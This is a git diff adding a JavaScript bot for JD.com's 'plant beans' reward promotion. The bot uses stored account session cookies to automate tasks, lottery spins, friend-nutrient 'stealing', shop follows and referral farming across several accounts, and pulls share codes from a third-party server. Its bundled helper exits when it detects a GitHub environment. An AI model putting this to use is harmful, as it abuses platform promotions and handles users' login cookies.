if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_plantBean.js b/jd_plantBean.js new file mode 100644 index 0000000..5104549 --- /dev/null +++ b/jd_plantBean.js @@ -0,0 +1,751 @@ +/* +种豆得豆 脚本更新地址:jd_plantBean.js +更新时间:2021-04-9 +活动入口:京东APP我的-更多工具-种豆得豆 +已支持IOS京东多账号,云端多京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +注:会自动关注任务中的店铺跟商品,介意者勿使用。 +互助码shareCode请先手动运行脚本查看打印可看到 +每个京东账号每天只能帮助3个人。多出的助力码将会助力失败。 +=====================================Quantumult X================================= +[task_local] +1 7-21/2 * * * jd_plantBean.js, tag=种豆得豆, img-url=https://raw.githubusercontent.com/58xinian/icon/master/jdzd.png, enabled=true + +=====================================Loon================================ +[Script] +cron "1 7-21/2 * * *" script-path=jd_plantBean.js,tag=京东种豆得豆 + +======================================Surge========================== +京东种豆得豆 = type=cron,cronexp="1 7-21/2 * * *",wake-system=1,timeout=3600,script-path=jd_plantBean.js + +====================================小火箭============================= +京东种豆得豆 = type=cron,script-path=jd_plantBean.js, cronexpr="1 7-21/2 * * *", timeout=3600, enable=true + +搬的https://github.com/uniqueque/QuantumultX/blob/4c1572d93d4d4f883f483f907120a75d925a693e/Script/jd_plantBean.js +*/ +const $ = new Env('京东种豆得豆'); +//Node.js用户请在jdCookie.js处填写京东ck; +//ios等软件用户直接用NobyDa的jd cookie +let jdNotify = true;//是否开启静默运行。默认true开启 +let cookiesArr = [], cookie = '', jdPlantBeanShareArr = [], isBox = false, notify, newShareCodes, option, message,subTitle; +//京东接口地址 +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +//助力好友分享码(最多3个,否则后面的助力失败) +//此此内容是IOS用户下载脚本到本地使用,填写互助码的地方,同一京东账号的好友互助码请使用@符号隔开。 +//下面给出两个账号的填写示例(iOS只支持2个京东账号) +let shareCodes = [ // IOS本地脚本用户这个列表填入你要助力的好友的shareCode + //账号一的好友shareCode,不同好友的shareCode中间用@符号隔开 + '66j4yt3ebl5ierjljoszp7e4izzbzaqhi5k2unz2afwlyqsgnasq@olmijoxgmjutyrsovl2xalt2tbtfmg6sqldcb3q@e7lhibzb3zek27amgsvywffxx7hxgtzstrk2lba@e7lhibzb3zek32e72n4xesxmgc2m76eju62zk3y@l4ex6vx6yynovp6l5zmgzx4nssii54ewecu36gi@l4ex6vx6yynovp6l5zmgzx4nssii54ewecu36gi', + //账号二的好友shareCode,不同好友的shareCode中间用@符号隔开 + 'olmijoxgmjutyx55upqaqxrblt7f3h26dgj2riy@mlrdw3aw26j3wgzjipsxgonaoyr2evrdsifsziyvnsb2r54jq34s64sc4it3jlfnejwmtmsuadax2i@eeexxudqtlampbpvmceutaaht5tcftvr6kohuny@e7lhibzb3zek27gfeceqb6wwm45gshcaroxg5ka@e7lhibzb3zek3xxnrskw4mpzstihpk3f7fqziiy@olmijoxgmjutzhazczrfgf75qrbqseqdmb5ey5a', +] +let allMessage = ``; +let currentRoundId = null;//本期活动id +let lastRoundId = null;//上期id +let roundList = []; +let awardState = '';//上期活动的京豆是否收取 +let randomCount = $.isNode() ? 20 : 5; +!(async () => { + await requireConfig(); + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + await TotalBean(); + console.log(`\n开始【京东账号${$.index}】${$.nickName || $.UserName}\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + message = ''; + subTitle = ''; + option = {}; + await shareCodesFormat(); + await jdPlantBean(); + await showMsg(); + } + } + if ($.isNode() && allMessage) { + await notify.sendNotify(`${$.name}`, `${allMessage}`) + } +})().catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') +}).finally(() => { + $.done(); +}) + +async function jdPlantBean() { + try { + console.log(`获取任务及基本信息`) + await plantBeanIndex(); + // console.log(plantBeanIndexResult.data.taskList); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0' && $.plantBeanIndexResult.data) { + const shareUrl = $.plantBeanIndexResult.data.jwordShareInfo.shareUrl + $.myPlantUuid = getParam(shareUrl, 'plantUuid') + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${$.myPlantUuid}\n`); + roundList = $.plantBeanIndexResult.data.roundList; + currentRoundId = roundList[1].roundId;//本期的roundId + lastRoundId = roundList[0].roundId;//上期的roundId + awardState = roundList[0].awardState; + $.taskList = $.plantBeanIndexResult.data.taskList; + subTitle = `【京东昵称】${$.plantBeanIndexResult.data.plantUserInfo.plantNickName}`; + message += `【上期时间】${roundList[0].dateDesc.replace('上期 ', '')}\n`; + message += `【上期成长值】${roundList[0].growth}\n`; + await receiveNutrients();//定时领取营养液 + await doHelp();//助力 + await doTask();//做日常任务 + await doEgg(); + await stealFriendWater(); + await doCultureBean(); + await doGetReward(); + await showTaskProcess(); + await plantShareSupportList(); + } else { + console.log(`种豆得豆-初始失败: ${JSON.stringify($.plantBeanIndexResult)}`); + } + } catch (e) { + $.logErr(e); + const errMsg = `京东账号${$.index} ${$.nickName || $.UserName}\n任务执行异常,请检查执行日志 ‼️‼️`; + if ($.isNode()) await notify.sendNotify(`${$.name}`, errMsg); + $.msg($.name, '', `${errMsg}`) + } +} +async function doGetReward() { + console.log(`【上轮京豆】${awardState === '4' ? '采摘中' : awardState === '5' ? '可收获了' : '已领取'}`); + if (awardState === '4') { + //京豆采摘中... + message += `【上期状态】${roundList[0].tipBeanEndTitle}\n`; + } else if (awardState === '5') { + //收获 + await getReward(); + console.log('开始领取京豆'); + if ($.getReward && $.getReward.code === '0') { + console.log('京豆领取成功'); + message += `【上期兑换京豆】${$.getReward.data.awardBean}个\n`; + $.msg($.name, subTitle, message); + allMessage += `京东账号${$.index} ${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}` + // if ($.isNode()) { + // await notify.sendNotify(`${$.name} - 账号${$.index} - ${$.nickName || $.UserName}`, `京东账号${$.index} ${$.nickName}\n${message}`); + // } + } else { + console.log(`$.getReward 异常:${JSON.stringify($.getReward)}`) + } + } else if (awardState === '6') { + //京豆已领取 + message += `【上期兑换京豆】${roundList[0].awardBeans}个\n`; + } + if (roundList[1].dateDesc.indexOf('本期 ') > -1) { + roundList[1].dateDesc = roundList[1].dateDesc.substr(roundList[1].dateDesc.indexOf('本期 ') + 3, roundList[1].dateDesc.length); + } + message += `【本期时间】${roundList[1].dateDesc}\n`; + message += `【本期成长值】${roundList[1].growth}\n`; +} +async function doCultureBean() { + await plantBeanIndex(); + if ($.plantBeanIndexResult && $.plantBeanIndexResult.code === '0') { + const plantBeanRound = $.plantBeanIndexResult.data.roundList[1] + if (plantBeanRound.roundState === '2') { + //收取营养液 + if (plantBeanRound.bubbleInfos && plantBeanRound.bubbleInfos.length) console.log(`开始收取营养液`) + for (let bubbleInfo of plantBeanRound.bubbleInfos) { + console.log(`收取-${bubbleInfo.name}-的营养液`) + await cultureBean(plantBeanRound.roundId, bubbleInfo.nutrientsType) + console.log(`收取营养液结果:${JSON.stringify($.cultureBeanRes)}`) + } + } + } else { + console.log(`plantBeanIndexResult:${JSON.stringify($.plantBeanIndexResult)}`) + } +} +async function stealFriendWater() { + await stealFriendList(); + if ($.stealFriendList && $.stealFriendList.code === '0') { + if ($.stealFriendList.data && $.stealFriendList.data.tips) { + console.log('\n\n今日偷取好友营养液已达上限\n\n'); + return + } + if ($.stealFriendList.data && $.stealFriendList.data.friendInfoList && $.stealFriendList.data.friendInfoList.length > 0) { + let nowTimes = new Date(new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000); + for (let item of $.stealFriendList.data.friendInfoList) { + if (new Date(nowTimes).getHours() === 20) { + if (item.nutrCount >= 2) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } else { + if (item.nutrCount >= 3) { + // console.log(`可以偷的好友的信息::${JSON.stringify(item)}`); + console.log(`可以偷的好友的信息paradiseUuid::${JSON.stringify(item.paradiseUuid)}`); + await collectUserNutr(item.paradiseUuid); + console.log(`偷取好友营养液情况:${JSON.stringify($.stealFriendRes)}`) + if ($.stealFriendRes && $.stealFriendRes.code === '0') { + console.log(`偷取好友营养液成功`) + } + } + } + } + } + } else { + console.log(`$.stealFriendList 异常: ${JSON.stringify($.stealFriendList)}`) + } +} +async function doEgg() { + await egg(); + if ($.plantEggLotteryRes && $.plantEggLotteryRes.code === '0') { + if ($.plantEggLotteryRes.data.restLotteryNum > 0) { + const eggL = new Array($.plantEggLotteryRes.data.restLotteryNum).fill(''); + console.log(`目前共有${eggL.length}次扭蛋的机会`) + for (let i = 0; i < eggL.length; i++) { + console.log(`开始第${i + 1}次扭蛋`); + await plantEggDoLottery(); + console.log(`天天扭蛋成功:${JSON.stringify($.plantEggDoLotteryResult)}`); + } + } else { + console.log('暂无扭蛋机会') + } + } else { + console.log('查询天天扭蛋的机会失败' + JSON.stringify($.plantEggLotteryRes)) + } +} +async function doTask() { + if ($.taskList && $.taskList.length > 0) { + for (let item of $.taskList) { + if (item.isFinished === 1) { + console.log(`${item.taskName} 任务已完成\n`); + continue; + } else { + if (item.taskType === 8) { + console.log(`\n【${item.taskName}】任务未完成,需自行手动去京东APP完成,${item.desc}营养液\n`) + } else { + console.log(`\n【${item.taskName}】任务未完成,${item.desc}营养液\n`) + } + } + if (item.dailyTimes === 1 && item.taskType !== 8) { + console.log(`\n开始做 ${item.taskName}任务`); + // $.receiveNutrientsTaskRes = await receiveNutrientsTask(item.taskType); + await receiveNutrientsTask(item.taskType); + console.log(`做 ${item.taskName}任务结果:${JSON.stringify($.receiveNutrientsTaskRes)}\n`); + } + if (item.taskType === 3) { + //浏览店铺 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedShopNum = item.totalNum - item.gainedNum; + if (unFinishedShopNum === 0) { + continue + } + await shopTaskList(); + const { data } = $.shopTaskListRes; + let goodShopListARR = [], moreShopListARR = [], shopList = []; + const { goodShopList, moreShopList } = data; + for (let i of goodShopList) { + if (i.taskState === '2') { + goodShopListARR.push(i); + } + } + for (let j of moreShopList) { + if (j.taskState === '2') { + moreShopListARR.push(j); + } + } + shopList = goodShopListARR.concat(moreShopListARR); + for (let shop of shopList) { + const { shopId, shopTaskId } = shop; + const body = { + "monitor_refer": "plant_shopNutrientsTask", + "shopId": shopId, + "shopTaskId": shopTaskId + } + const shopRes = await requestGet('shopNutrientsTask', body); + console.log(`shopRes结果:${JSON.stringify(shopRes)}`); + if (shopRes && shopRes.code === '0') { + if (shopRes.data && shopRes.data.nutrState && shopRes.data.nutrState === '1') { + unFinishedShopNum --; + } + } + if (unFinishedShopNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 5) { + //挑选商品 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedProductNum = item.totalNum - item.gainedNum; + if (unFinishedProductNum === 0) { + continue + } + await productTaskList(); + // console.log('productTaskList', $.productTaskList); + const { data } = $.productTaskList; + let productListARR = [], productList = []; + const { productInfoList } = data; + for (let i = 0; i < productInfoList.length; i++) { + for (let j = 0; j < productInfoList[i].length; j++){ + productListARR.push(productInfoList[i][j]); + } + } + for (let i of productListARR) { + if (i.taskState === '2') { + productList.push(i); + } + } + for (let product of productList) { + const { skuId, productTaskId } = product; + const body = { + "monitor_refer": "plant_productNutrientsTask", + "productTaskId": productTaskId, + "skuId": skuId + } + const productRes = await requestGet('productNutrientsTask', body); + if (productRes && productRes.code === '0') { + // console.log('nutrState', productRes) + //这里添加多重判断,有时候会出现活动太火爆的问题,导致nutrState没有 + if (productRes.data && productRes.data.nutrState && productRes.data.nutrState === '1') { + unFinishedProductNum --; + } + } + if (unFinishedProductNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + if (item.taskType === 10) { + //关注频道 + console.log(`开始做 ${item.taskName}任务`); + let unFinishedChannelNum = item.totalNum - item.gainedNum; + if (unFinishedChannelNum === 0) { + continue + } + await plantChannelTaskList(); + const { data } = $.plantChannelTaskList; + // console.log('goodShopList', data.goodShopList); + // console.log('moreShopList', data.moreShopList); + let goodChannelListARR = [], normalChannelListARR = [], channelList = []; + const { goodChannelList, normalChannelList } = data; + for (let i of goodChannelList) { + if (i.taskState === '2') { + goodChannelListARR.push(i); + } + } + for (let j of normalChannelList) { + if (j.taskState === '2') { + normalChannelListARR.push(j); + } + } + channelList = goodChannelListARR.concat(normalChannelListARR); + for (let channelItem of channelList) { + const { channelId, channelTaskId } = channelItem; + const body = { + "channelId": channelId, + "channelTaskId": channelTaskId + } + const channelRes = await requestGet('plantChannelNutrientsTask', body); + console.log(`channelRes结果:${JSON.stringify(channelRes)}`); + if (channelRes && channelRes.code === '0') { + if (channelRes.data && channelRes.data.nutrState && channelRes.data.nutrState === '1') { + unFinishedChannelNum --; + } + } + if (unFinishedChannelNum <= 0) { + console.log(`${item.taskName}任务已做完\n`) + break; + } + } + } + } + } +} +function showTaskProcess() { + return new Promise(async resolve => { + await plantBeanIndex(); + $.taskList = $.plantBeanIndexResult.data.taskList; + if ($.taskList && $.taskList.length > 0) { + console.log(" 任务 进度"); + for (let item of $.taskList) { + console.log(`[${item["taskName"]}] ${item["gainedNum"]}/${item["totalNum"]} ${item["isFinished"]}`); + } + } + resolve() + }) +} +//助力好友 +async function doHelp() { + for (let plantUuid of newShareCodes) { + console.log(`开始助力京东账号${$.index} - ${$.nickName}的好友: ${plantUuid}`); + if (!plantUuid) continue; + if (plantUuid === $.myPlantUuid) { + console.log(`\n跳过自己的plantUuid\n`) + continue + } + await helpShare(plantUuid); + if ($.helpResult && $.helpResult.code === '0') { + // console.log(`助力好友结果: ${JSON.stringify($.helpResult.data.helpShareRes)}`); + if ($.helpResult.data.helpShareRes) { + if ($.helpResult.data.helpShareRes.state === '1') { + console.log(`助力好友${plantUuid}成功`) + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`); + } else if ($.helpResult.data.helpShareRes.state === '2') { + console.log('您今日助力的机会已耗尽,已不能再帮助好友助力了\n'); + break; + } else if ($.helpResult.data.helpShareRes.state === '3') { + console.log('该好友今日已满9人助力/20瓶营养液,明天再来为Ta助力吧\n') + } else if ($.helpResult.data.helpShareRes.state === '4') { + console.log(`${$.helpResult.data.helpShareRes.promptText}\n`) + } else { + console.log(`助力其他情况:${JSON.stringify($.helpResult.data.helpShareRes)}`); + } + } + } else { + console.log(`助力好友失败: ${JSON.stringify($.helpResult)}`); + } + } +} +function showMsg() { + $.log(`\n${message}\n`); + jdNotify = $.getdata('jdPlantBeanNotify') ? $.getdata('jdPlantBeanNotify') : jdNotify; + if (!jdNotify || jdNotify === 'false') { + $.msg($.name, subTitle, message); + } +} +// ================================================此处是API================================= +//每轮种豆活动获取结束后,自动收取京豆 +async function getReward() { + const body = { + "roundId": lastRoundId + } + $.getReward = await request('receivedBean', body); +} +//收取营养液 +async function cultureBean(currentRoundId, nutrientsType) { + let functionId = arguments.callee.name.toString(); + let body = { + "roundId": currentRoundId, + "nutrientsType": nutrientsType, + } + $.cultureBeanRes = await request(functionId, body); +} +//偷营养液大于等于3瓶的好友 +//①查询好友列表 +async function stealFriendList() { + const body = { + pageNum: '1' + } + $.stealFriendList = await request('plantFriendList', body); +} + +//②执行偷好友营养液的动作 +async function collectUserNutr(paradiseUuid) { + console.log('开始偷好友'); + // console.log(paradiseUuid); + let functionId = arguments.callee.name.toString(); + const body = { + "paradiseUuid": paradiseUuid, + "roundId": currentRoundId + } + $.stealFriendRes = await request(functionId, body); +} +async function receiveNutrients() { + $.receiveNutrientsRes = await request('receiveNutrients', {"roundId": currentRoundId, "monitor_refer": "plant_receiveNutrients"}) + // console.log(`定时领取营养液结果:${JSON.stringify($.receiveNutrientsRes)}`) +} +async function plantEggDoLottery() { + $.plantEggDoLotteryResult = await requestGet('plantEggDoLottery'); +} +//查询天天扭蛋的机会 +async function egg() { + $.plantEggLotteryRes = await requestGet('plantEggLotteryIndex'); +} +async function productTaskList() { + let functionId = arguments.callee.name.toString(); + $.productTaskList = await requestGet(functionId, {"monitor_refer": "plant_productTaskList"}); +} +async function plantChannelTaskList() { + let functionId = arguments.callee.name.toString(); + $.plantChannelTaskList = await requestGet(functionId); + // console.log('$.plantChannelTaskList', $.plantChannelTaskList) +} +async function shopTaskList() { + let functionId = arguments.callee.name.toString(); + $.shopTaskListRes = await requestGet(functionId, {"monitor_refer": "plant_receiveNutrients"}); + // console.log('$.shopTaskListRes', $.shopTaskListRes) +} +async function receiveNutrientsTask(awardType) { + const functionId = arguments.callee.name.toString(); + const body = { + "monitor_refer": "receiveNutrientsTask", + "awardType": `${awardType}`, + } + $.receiveNutrientsTaskRes = await requestGet(functionId, body); +} +async function plantShareSupportList() { + $.shareSupportList = await requestGet('plantShareSupportList', {"roundId": ""}); + if ($.shareSupportList && $.shareSupportList.code === '0') { + const { data } = $.shareSupportList; + //当日北京时间0点时间戳 + const UTC8_Zero_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000; + //次日北京时间0点时间戳 + const UTC8_End_Time = parseInt((Date.now() + 28800000) / 86400000) * 86400000 - 28800000 + (24 * 60 * 60 * 1000); + let friendList = []; + data.map(item => { + if (UTC8_Zero_Time <= item['createTime'] && item['createTime'] < UTC8_End_Time) { + friendList.push(item); + } + }) + message += `【助力您的好友】共${friendList.length}人`; + } else { + console.log(`异常情况:${JSON.stringify($.shareSupportList)}`) + } +} +//助力好友的api +async function helpShare(plantUuid) { + console.log(`\n开始助力好友: ${plantUuid}`); + const body = { + "plantUuid": plantUuid, + "wxHeadImgUrl": "", + "shareUuid": "", + "followType": "1", + } + $.helpResult = await request(`plantBeanIndex`, body); + console.log(`助力结果的code:${$.helpResult && $.helpResult.code}`); +} +async function plantBeanIndex() { + $.plantBeanIndexResult = await request('plantBeanIndex');//plantBeanIndexBody +} +function readShareCode() { + return new Promise(async resolve => { + $.get({url: `http://share.turinglabs.net/api/v3/bean/query/${randomCount}/`, timeout: 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取个${randomCount}码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(15000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > shareCodes.length ? (shareCodes.length - 1) : ($.index - 1); + newShareCodes = shareCodes[tempIndex].split('@'); + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + newShareCodes = [...new Set([...newShareCodes, ...(readShareCodeRes.data || [])])]; + } + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify(newShareCodes)}`) + resolve(); + }) +} +function requireConfig() { + return new Promise(resolve => { + console.log('开始获取种豆得豆配置文件\n') + notify = $.isNode() ? require('./sendNotify') : ''; + //Node.js用户请在jdCookie.js处填写京东ck; + const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; + const jdPlantBeanShareCodes = $.isNode() ? require('./jdPlantBeanShareCodes.js') : ''; + //IOS等用户直接用NobyDa的jd cookie + if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + if (jdCookieNode[item]) { + cookiesArr.push(jdCookieNode[item]) + } + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + } else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); + } + console.log(`共${cookiesArr.length}个京东账号\n`) + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(jdPlantBeanShareCodes).forEach((item) => { + if (jdPlantBeanShareCodes[item]) { + $.shareCodesArr.push(jdPlantBeanShareCodes[item]) + } + }) + } else { + if ($.getdata('jd_plantbean_inviter')) $.shareCodesArr = $.getdata('jd_plantbean_inviter').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的${$.name}好友邀请码:${$.getdata('jd_plantbean_inviter') ? $.getdata('jd_plantbean_inviter') : '暂无'}\n`); + } + // console.log(`\n种豆得豆助力码::${JSON.stringify($.shareCodesArr)}`); + console.log(`您提供了${$.shareCodesArr.length}个账号的种豆得豆助力码\n`); + resolve() + }) +} +function requestGet(function_id, body = {}) { + if (!body.version) { + body["version"] = "9.0.0.1"; + } + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return new Promise(async resolve => { + await $.wait(2000); + const option = { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Accept': '*/*', + 'Connection': 'keep-alive', + 'User-Agent': 'JD4iPhone/167283 (iPhone;iOS 13.6.1;Scale/3.00)', + 'Accept-Language': 'zh-Hans-CN;q=1,en-CN;q=0.9', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': "application/x-www-form-urlencoded" + }, + timeout: 10000, + }; + $.get(option, (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + }, + "timeout": 10000, + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function request(function_id, body = {}){ + return new Promise(async resolve => { + await $.wait(2000); + $.post(taskUrl(function_id, body), (err, resp, data) => { + try { + if (err) { + console.log('\n种豆得豆: API查询请求失败 ‼️‼️') + console.log(`function_id:${function_id}`) + $.logErr(err); + } else { + data = JSON.parse(data); + } + } catch (e) { + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }) +} +function taskUrl(function_id, body) { + body["version"] = "9.2.4.0"; + body["monitor_source"] = "plant_app_plant_index"; + body["monitor_refer"] = ""; + return { + url: JD_API_HOST, + body: `functionId=${function_id}&body=${escape(JSON.stringify(body))}&appid=ld&client=apple&area=19_1601_50258_51885&build=167490&clientVersion=9.3.2`, + headers: { + "Cookie": cookie, + "Host": "api.m.jd.com", + "Accept": "*/*", + "Connection": "keep-alive", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + "Accept-Language": "zh-Hans-CN;q=1,en-CN;q=0.9", + "Accept-Encoding": "gzip, deflate, br", + "Content-Type": "application/x-www-form-urlencoded" + }, + timeout: 10000, + } +} +function getParam(url, name) { + const reg = new RegExp("(^|&)" + name + "=([^&]*)(&|$)", "i") + const r = url.match(reg) + if (r != null) return unescape(r[2]); + return null; +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let 